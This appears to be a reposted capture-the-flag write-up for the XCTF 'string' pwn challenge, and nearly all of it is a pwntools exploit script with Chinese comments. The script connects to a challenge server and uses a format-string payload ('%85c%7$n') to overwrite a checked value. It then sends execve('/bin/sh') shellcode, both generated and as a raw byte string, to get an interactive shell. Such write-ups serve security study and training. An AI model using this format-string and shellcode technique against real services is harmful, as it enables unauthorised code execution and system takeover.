攻防世界 | string


#encoding=utf-8
#!usr/bin/python

from pwn import *
io = remote('111.198.29.45',42643)
io.recvuntil("secret[0] is ")
# recvuntil(some_string) 接收到 some_string 為止
v3_0_addr = int(io.recvuntil("\n")[:-1], 16) #打印cv3[0]的地址
log.info("v3_0_addr:" + hex(v3_0_addr))

#進入sub_4000D72()
io.recvuntil("character's name be:")
io.sendline("123")
#進入sub_400A7D()
io.recvuntil("east or up?:")
io.sendline("east")

#進入sub_400BB9():printf處存在格式化字符串漏洞,利用這一點去修改v3[0]的值為85
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
# 使用 *<a_number_of_chars>%<number>$n* 就可以將相應的第 *<number>* 個參數的位置寫為 % 前輸出的字符數量
# 如本題先用 %85c 輸出了85個字符,再用 %7$n 將第七個參數的位置寫成了85

#進入sub_400CA6():v1會被強制轉成函數指針並且得到執行,所以我們傳入一個system()函數去getshell
context(os='linux',arch='amd64') #設置目標機的參數 os設置系統為linux系統,arch設置架構為amd64
shellcode = asm(shellcraft.sh()) #(生成的shellcode攻擊失敗,所以使用反匯編的shellcode)
# (shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
# 注釋 :師傅沒有失敗只是忘了context
# shellcraft 是一個幫忙生成shellcode的類. shellcraft.sh():獲得執行system(“/bin/sh”)匯編代碼所對應的機器碼
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()


參考:

https://www.jianshu.com/p/457520f97a76

https://blog.csdn.net/qq_35495684/article/details/79583232

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1

https://www.jianshu.com/p/8322fa5dff22


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM